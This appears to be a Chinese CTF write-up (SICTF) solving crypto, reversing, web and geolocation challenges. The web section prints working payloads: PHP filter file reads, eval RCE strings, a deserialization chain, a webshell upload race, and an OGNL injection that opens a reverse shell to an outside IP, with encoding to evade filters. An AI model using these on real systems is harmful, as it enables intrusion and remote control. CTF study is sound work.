            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)


dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

message = """05242b75362c263337613c3513064b3e07177f365c070700522110451114
3f3821751a2374312d260139040d1f7f08113002444e25091b251016425d
2325293d0f6d203f7f2b1b3d0f431f370c532b12514e140400320c1f1129
392920750f2531701220107429021f2b0c017f1a51050116520719585218
71293830156d393f2d245432141102301c007f15494e10001e2a1c5f565d
39293c75082531703124113012430a7f01123605531b104b520913115212
243e3d305b0c38393c2454300400073e1b162c574406051152321a115318
713e3b311e6174322a35542009064b1208177f3f511a10000066145f420a
343e3d75132826702828003c41024b2d00173b1b555446321a3f5558425d
306c3c340d283a7033281f3141024b281b1a2b1e5e09440117351e0e135d""".split()

c = [binascii.unhexlify(x.encode()) for x in message]
msg = np.zeros([len(c), len(c[0])], dtype=int)


getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Little Red,Rdin+ Hood ppomi4e
d to obey de mo8her. Thg gr&n
dmother liz ou8 in the"woo#s
, a half hcu fr#m the vklla e
. When Litxl     Re( Riding"Hoo#
entered thi od? a wolf"cam"
up to her.,Se d%d not klow 0h
nim-l he waq, a)d
id #f him.  Goo#
day to you   itt e Red Rkdin

然后根据上下文推断

第一行第24个是r 第28个是s

即单词promise

1
2
3
4
5
6
7
8
def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)

know(0,24,'r')
know(0,28,'s')

再看结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Little Red,Rdin+ Hood promise
d to obey de mo8her. The gran
dmother liz ou8 in the woods
, a half hcu fr#m the village
. When Litxl     Re( Riding Hood
entered thi od? a wolf came
up to her.,Se d%d not know wh
nim-l he was, and
id #f him. "Good
day to you   itt e Red Riding

继续推断

1
2
3
know(1,16,'t')
know(9,12,'L')
know(8,10,'f')

所有语句完整了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Little Red Riding Hood promise
d to obey her mother. The gran
dmother lived out in the woods
, a half hour from the village
. When Little Red Riding Hood
entered the woods a wolf came
up to her. She did not know wh
at a wicked animal he was, and
 was not afraid of him. "Good
day to you, Little Red Riding

求key即可

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from Crypto.Util.strxor import strxor
import numpy as np
import binascii


def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False


def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(' ')

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)


dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

message = """1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218
3769373b66142f31297f291126410e042b01162d59103a0c005221075013
37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e
7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618
7d69143c23156d18392b35183141310e3b49213613590003453a291a555d
36273731341e297424372454230e0c0f2c49127f005f020245112718545d
26396320295b2531227161273c04430f360d533118444e0f0b1d31554615
323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19
733e222766152220703e27063508074b300f53371e5d40444735291a555d
37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d""".split()

c = [binascii.unhexlify(x.encode()) for x in message]
msg = np.zeros([len(c), len(c[0])], dtype=int)


getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)
def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)



know(0,24,'r')
know(0,28,'s')
know(1,16,'t')
know(9,12,'L')
know(8,10,'f')

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

flag = strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(flag)
1
b'SICTF{MTP_AtTack_is_w0nderFu1}'

Easy_CopperSmith

p高位泄露

不过稍微少三位,爆破得p

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# sage
from Crypto.Util.number import long_to_bytes
from sage.all import *
def cop(leak):
    n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381
    p4= Integer(leak)
    e = 0x10001
    pbits = 512
    kbits = pbits - p4.nbits() 
    print(p4.nbits() )
    p4 = p4 << kbits
    PR.<x> = PolynomialRing(Zmod(n))
    f = x + p4
    roots = f.small_roots(X=2^kbits, beta=0.4)
    if roots:        
        p = p4+int(roots[0])
        print ("n: ", n)   
        print ("p: ", p)
        print ("q: ", n/p)
        flag = long_to_bytes(int(pow(c,inverse_mod(e,(p-1)*((n/p)-1)),n)))
        if b'SICTF' in flag:
            print(flag.decode())
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810

for i in range(2*8):
    leak_ = int(bin(6833525680083767201563383553257365403889275861180069149272377788671845720921410137177)+"{:03b}".format(i),2)
    cop(leak_)

或者改epsilon也行

1
SICTF{3f9366ed-b8e4-412f-bbd0-62616a24115c}

签到题来咯!

Franklin Reiter攻击

e是10bit的prime,爆破一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# sage
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931
a=114
b=2333
c=514
d=4555

import libnum
def franklinReiter(n,e,c1,c2,a,b,c,d):
    R.<X> = PolynomialRing(Zmod(n))
    f1 = (X*a+ b)^e - c1
    f2 = (X*c+ d)^e - c2
    # coefficient 0 = -m, which is what we wanted!
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

  # GCD is not implemented for rings over composite modulus in Sage
  # so we do our own implementation. Its the exact same as standard GCD, but with
  # the polynomials monic representation
def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)

for i in trange(2**9,2**10):
    if isPrime(i):
        e = i
        m=franklinReiter(n,e,c1,c2,a,b,c,d)
        flag = libnum.n2s(int(m))
        if b"SICTF" in flag:
            print('e=',e)
            print(flag.decode())
            break
1
SICTF{hhh!!franklin_reiter_is_easy}

small_e

m高位泄露,怎么全是coppersmith

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# sage
from Crypto.Util.number import isPrime
from tqdm import trange
def attack(c1, c2, n, e):
    PR.<x>=PolynomialRing(Zmod(n))
    g1 = (114*x+2333)^e - c1
    g2 = (514*x+4555)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    return -gcd(g1, g2)[0]
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931

for e in trange(2**9,2**10):
    if isPrime(e)==False:
        continue
    flag = bytes.fromhex(hex(attack(c1, c2, n, e))[2:])
    if b"SICTF" in flag:
        print(flag)
        break
1
2
 92%|█████████▏| 471/512 [00:42<00:03, 10.99it/s]
b'SICTF{hhh!!franklin_reiter_is_easy}'

easy_math

gcd取公因数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from gmpy2 import gcd,invert
from itertools import product
from tqdm import tqdm

n = 68123067052840097285002963401518347625939222208495512245264898037784706226045178539672509359795737570458454279990340789711761542570505016930986418403583534761200927746744298082254959321108829717070206277856970403191060311901559017372393931121345743640657503994132925993800497309703877076541759570410784984067
hint1 = 564294243979930441832363430202216879765636227726919016842676871868826273613344463155168512928428069316237289920953421495330355385445649203238665802121198919543532254290185502622234014832349396422316629991217252686524462096711723580
hint2 = 484307144682854466149980416084532076579378210225500554261260145338511061452958092407101769145891750844383042274498826787696953308289632616886162073232218214504005935332891893378072083589751354946391146889055039887781077066257013110
c = 57751903193610662622957432730720223801836323458721550133101805763463060486486266309568004721657732742899781400754207249733137375171400440423755473421971160000575072519031824740691618617905549725344323721903857290320737224300672847773455169809689188843070599176261204013341324705808617411345132933937680951713
e = 65537

bar = tqdm(total=(1<<12)**2)
for x1, x2 in tqdm(product(range(1<<12,1<<13), repeat=2)):
    q = gcd(hint1*x1 -hint2*x2,n)
    bar.update(1)
    if q != 1:
        print('q=',q)
        break

p = n//q
phi_n = (p-1)*(q-1)
d = invert(e, phi_n)
print(bytes.fromhex(hex(pow(c, d, n))[2:]))
1
b'SICTF{452aebb6-9c16-441a-ac42-fc608bf6063f}'

pwn

[签到]Shop

整数溢出

输个负数就行

reverse

[签到]PYC

pyc逆向,或者直接文本编辑器打开也行

image-20230910010838988

或者直接运行

image-20230910010913157

1
SICTF{07e278e7-9d66-4d90-88fc-8bd61e490616}

Myobject

rc4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def rc4_main(key = "init_key", plain = "init_message"): #主函数
    s_box = rc4_init_sbox(key)
    crypt = rc4_encrypt(plain, s_box)
    return crypt
from Crypto.Cipher import ARC4
def rc4_init_sbox(key):         #初始化sbox
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
    
def rc4_encrypt(plain, box):    #rc4解密
    res = []
    i = j = 0
    for s in plain:
        if s <= 0:
            s = s + 256
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    cipher = "".join(res)
    print("解密后的字符串是:   %s" %cipher)
    return  cipher

if __name__ == '__main__':
    # 这里输入数组
    data = [  0x30, 0x27, 0xD3, 0x0E, 0x5A, 0x22, 0xCF, 0x47, 0x47, 0x6B, 
  0x0B, 0xE5, 0x8D, 0x53, 0xBA, 0x99, 0xC3, 0x85, 0x07, 0x07, 
  0x01, 0x1C, 0x77, 0x10, 0xFE, 0x88, 0x9F]
    key = "SIFLAG"
    rc4_main(key, data)
1
SICTF{wow_you_get_the_flag}

chbase

直接都不反编译了,die看字符串

换表b64

image-20230910011414680

1
SICTF{base64_and_antidebugger}

不一样的base64

没注意有啥不一样的

exe逆pyc,直接解base64

1
U0lDVEZ7OGUwZDM1OGQtOGI5ZC00ODY2LTliMDItNjc0OWIwN2FkMDlhfQAA

好像就是把padding换成了A

1
SICTF{8e0d358d-8b9d-4866-9b02-6749b07ad09a}

web

[签到]Include

php伪协议直接读/flag

1
?SICTF=php://filter/convert.base64-encode/resource=/flag

刚开始直接读的flag.php中也有东西,以为有两层

1
2
3
4
5
6
7
8
<?php
$file_path = "/flag";
if (file_exists($file_path)) {
    $flag = file_get_contents($file_path);
}
else{
    echo "error";
}

懵逼

Baby_PHP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);

$query = $_SERVER['QUERY_STRING'];

if (preg_match('/_|%5f|\.|%2E/i', $query)) {
    die('You are Hacker!');
}
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){
    echo("You are will Win!<br>");
    if(isset($_POST['command'])){
        $command = $_POST['command'];
        if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
            eval($command);
        }
        else{
            echo("You are Hacker!");
        }
    }
}
else{
    echo("K_e_y is Errors!");
}K_e_y is Errors!

两个原题套起来的

https://blog.csdn.net/weixin_44632787/article/details/118276925

https://blog.csdn.net/HkD01L/article/details/125397361

1
GET: ?k e y=123%0a
1
POST: command=show_source(next(array_reverse(scandir(pos(localeconv())))));

RCE

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>

?><?把前面的闭合掉,再执行命令就好

1
code=?><?=`cat /f*`;

我全都要

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }


}


if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
}

开始从__destruct()进入,绕过if后有echo可以触发A中的__toString(),再绕过if可以到game,到B中的game(),没有game()可以触发__call,绕过if后就clone new B;,可以触发__clone()可以执行命令

if都很好绕

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);

class B{
    public $pop = '233333333';
    public $i = '1';
    public $nogame;

}


class A{
    public $Aec;
    public $girl = 'QNKCDZO' ;
    public $boy = '240610708';
}


class P{
    public $MyLover;
    public $name = '66';


}
$a = new B();
$a ->pop = new A();
$a ->pop ->Aec = new B();
$a ->pop ->Aec -> nogame = new P();
echo serialize($a);
1
2
3
GET: http://210.44.151.51:10424/?A B C=O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";O:1:"B":3:{s:3:"pop";s:9:"233333333";s:1:"i";s:1:"1";s:6:"nogame";O:1:"P":2:{s:7:"MyLover";N;s:4:"name";s:2:"66";}}s:4:"girl";s:7:"QNKCDZO";s:3:"boy";s:9:"240610708";}s:1:"i";s:1:"1";s:6:"nogame";N;}

post: cmd=system('cat /f*');

你能跟得上我的speed吗

上传文件后会瞬间被删,而且传马也会被防火墙防住,直接执行命令读取文件然后再访问这个页面就可以

准备两个爆破

要上传的文件2.php

1
<?php @eval(system("cat /*"));?>

用burp一直上传

再开一个Intruder一直访问/uploads/2.php一块开启爆破,有一次上传成功的瞬间执行了命令即可

image-20230910172047334

pain

其他的被队友秒了

Ognl注入

https://xz.aliyun.com/t/10482

直接找一个exp,反弹shell

1
(new java.lang.ProcessBuilder(new java.lang.String[]{"sh -i >& /dev/tcp/101.43.85.204/9999 0>&1"})).start()

image-20230910220849535

绕过用最基础的Unicode绕过就行

Java 语言内部是用Unicode 表示字符,所以Unicode会被自动解析

然后再url编码

1
%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0050%5Cu0072%5Cu006F%5Cu0063%5Cu0065%5Cu0073%5Cu0073%5Cu0042%5Cu0075%5Cu0069%5Cu006C%5Cu0064%5Cu0065%5Cu0072%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006E%5Cu0067%5Cu005B%5Cu005D%5Cu007B%5Cu0022%5Cu0073%5Cu0068%5Cu0020%5Cu002D%5Cu0069%5Cu0020%5Cu003E%5Cu0026%5Cu0020%5Cu002F%5Cu0064%5Cu0065%5Cu0076%5Cu002F%5Cu0074%5Cu0063%5Cu0070%5Cu002F%5Cu0031%5Cu0030%5Cu0031%5Cu002E%5Cu0034%5Cu0033%5Cu002E%5Cu0038%5Cu0035%5Cu002E%5Cu0032%5Cu0030%5Cu0034%5Cu002F%5Cu0039%5Cu0039%5Cu0039%5Cu0039%5Cu0020%5Cu0030%5Cu003E%5Cu0026%5Cu0031%5Cu0022%5Cu007D%5Cu0029%5Cu0029%5Cu002E%5Cu0073%5Cu0074%5Cu0061%5Cu0072%5Cu0074%5Cu0028%5Cu0029
1
/start?payload=%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0050%5Cu0072%5Cu006F%5Cu0063%5Cu0065%5Cu0073%5Cu0073%5Cu0042%5Cu0075%5Cu0069%5Cu006C%5Cu0064%5Cu0065%5Cu0072%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006E%5Cu0067%5Cu005B%5Cu005D%5Cu007B%5Cu0022%5Cu0073%5Cu0068%5Cu0020%5Cu002D%5Cu0069%5Cu0020%5Cu003E%5Cu0026%5Cu0020%5Cu002F%5Cu0064%5Cu0065%5Cu0076%5Cu002F%5Cu0074%5Cu0063%5Cu0070%5Cu002F%5Cu0031%5Cu0030%5Cu0031%5Cu002E%5Cu0034%5Cu0033%5Cu002E%5Cu0038%5Cu0035%5Cu002E%5Cu0032%5Cu0030%5Cu0034%5Cu002F%5Cu0039%5Cu0039%5Cu0039%5Cu0039%5Cu0020%5Cu0030%5Cu003E%5Cu0026%5Cu0031%5Cu0022%5Cu007D%5Cu0029%5Cu0029%5Cu002E%5Cu0073%5Cu0074%5Cu0061%5Cu0072%5Cu0074%5Cu0028%5Cu0029

image-20230910221213765

社工

购物之旅

百度识图得flag

1
SICTF{北京市_顺义区_新顺南大街_北京华联顺义金街购物中心}

美女姐姐O.o

百度识图得flag

1
SICTF{福建省福州市仓山区烟台山公园}

宝塔镇河妖

百度识图得flag

1
SICTF{山东省济宁市汶上县太子灵踪塔}
0%